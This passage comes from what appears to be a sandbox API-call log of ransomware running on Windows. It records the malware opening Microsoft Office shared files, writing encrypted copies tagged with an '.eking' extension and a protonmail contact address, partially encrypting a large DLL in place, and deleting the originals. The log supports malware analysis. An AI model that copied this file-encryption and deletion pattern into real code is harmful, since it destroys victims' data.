dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.041] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.041] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x236, lpOverlapped=0x0) returned 1 [0263.042] FlushFileBuffers (hFile=0x1b8) returned 1 [0263.057] FlushFileBuffers (hFile=0xcc) returned 1 [0263.301] CloseHandle (hObject=0x1b8) returned 1 [0263.302] CloseHandle (hObject=0xcc) returned 1 [0263.302] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0263.304] SetEvent (hEvent=0xe0) returned 1 [0263.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0263.306] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=176311) returned 1 [0263.306] CloseHandle (hObject=0xcc) returned 1 [0263.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0263.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0263.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0263.523] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.523] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0263.531] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x2b0b7, lpOverlapped=0x0) returned 1 [0263.546] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x2b0c0, lpOverlapped=0x0) returned 1 [0263.550] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.551] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.551] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.551] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2b0b7, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0263.552] FlushFileBuffers (hFile=0xcc) returned 1 [0263.653] FlushFileBuffers (hFile=0x1b8) returned 1 [0263.669] CloseHandle (hObject=0xcc) returned 1 [0263.712] CloseHandle (hObject=0x1b8) returned 1 [0263.713] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0263.716] SetEvent (hEvent=0xe0) returned 1 [0263.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0263.717] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1486736) returned 1 [0263.717] CloseHandle (hObject=0x1b8) returned 1 [0263.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0263.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0263.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0263.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0263.718] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.718] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0263.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0263.719] ReadFile (in: hFile=0x1b8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0263.765] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0263.881] ReadFile (in: hFile=0x1b8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5ae90, lpOverlapped=0x0) returned 1 [0263.887] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5aea0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5aea0, lpOverlapped=0x0) returned 1 [0263.896] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0263.896] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.896] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0263.896] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0263.903] WriteFile (in: hFile=0x1b8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5ae8e, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5ae8e, lpOverlapped=0x0) returned 1 [0263.905] FlushFileBuffers (hFile=0x1b8) returned 1 [0264.960] FlushFileBuffers (hFile=0xcc) returned 1 [0265.167] CloseHandle (hObject=0x1b8) returned 1 [0265.167] CloseHandle (hObject=0xcc) returned 1 [0265.167] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0265.181] SetEvent (hEvent=0xe0) returned 1 [0265.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0265.184] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2124664) returned 1 [0265.184] CloseHandle (hObject=0xcc) returned 1 [0265.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0265.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0265.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0265.185] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0265.185] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0265.185] ReadFile (in: hFile=0xcc, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0265.190] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0265.190] ReadFile (in: hFile=0xcc, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0265.197] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0265.197] ReadFile (in: hFile=0xcc, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0265.393] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0265.393] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0265.408] SetEndOfFile (hFile=0xcc) returned 1 [0265.409] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0265.409] WriteFile (in: hFile=0xcc, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0265.411] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0265.411] WriteFile (in: hFile=0xcc, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0265.414] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0265.414] WriteFile (in: hFile=0xcc, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0265.525] FlushFileBuffers (hFile=0xcc) returned 1 [0266.817] CloseHandle (hObject=0xcc) returned 1 [0266.817] SetEvent (hEvent=0xe0) returned 1 [0266.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0266.819] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=712592) returned 1 [0266.819] CloseHandle (hObject=0xcc) returned 1 [0266.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0266.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0266.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0266.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0266.820] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0266.821] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xadf90, lpOverlapped=0x0) returned 1 [0267.004] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xadfa0, lpOverlapped=0x0) returned 1 [0267.021] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.022] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.022] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.022] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xadf90, lpOverlapped=0x0) returned 1 [0267.024] FlushFileBuffers (hFile=0xcc) returned 1 [0267.206] FlushFileBuffers (hFile=0xc0) returned 1 [0267.393] CloseHandle (hObject=0xcc) returned 1 [0267.394] CloseHandle (hObject=0xc0) returned 1 [0267.394] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0267.401] SetEvent (hEvent=0xe0) returned 1 [0267.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.402] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=320384) returned 1 [0267.402] CloseHandle (hObject=0xc0) returned 1 [0267.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0267.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0267.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.403] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.403] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.403] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x4e380, lpOverlapped=0x0) returned 1 [0267.411] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x4e390, lpOverlapped=0x0) returned 1 [0267.418] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.419] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.419] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.419] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x4e380, lpOverlapped=0x0) returned 1 [0267.420] FlushFileBuffers (hFile=0xc0) returned 1 [0267.473] FlushFileBuffers (hFile=0xcc) returned 1 [0267.485] CloseHandle (hObject=0xc0) returned 1 [0267.486] CloseHandle (hObject=0xcc) returned 1 [0267.486] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0267.491] SetEvent (hEvent=0xe0) returned 1 [0267.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.491] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1908) returned 1 [0267.491] CloseHandle (hObject=0xcc) returned 1 [0267.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0267.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0267.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.492] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.492] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 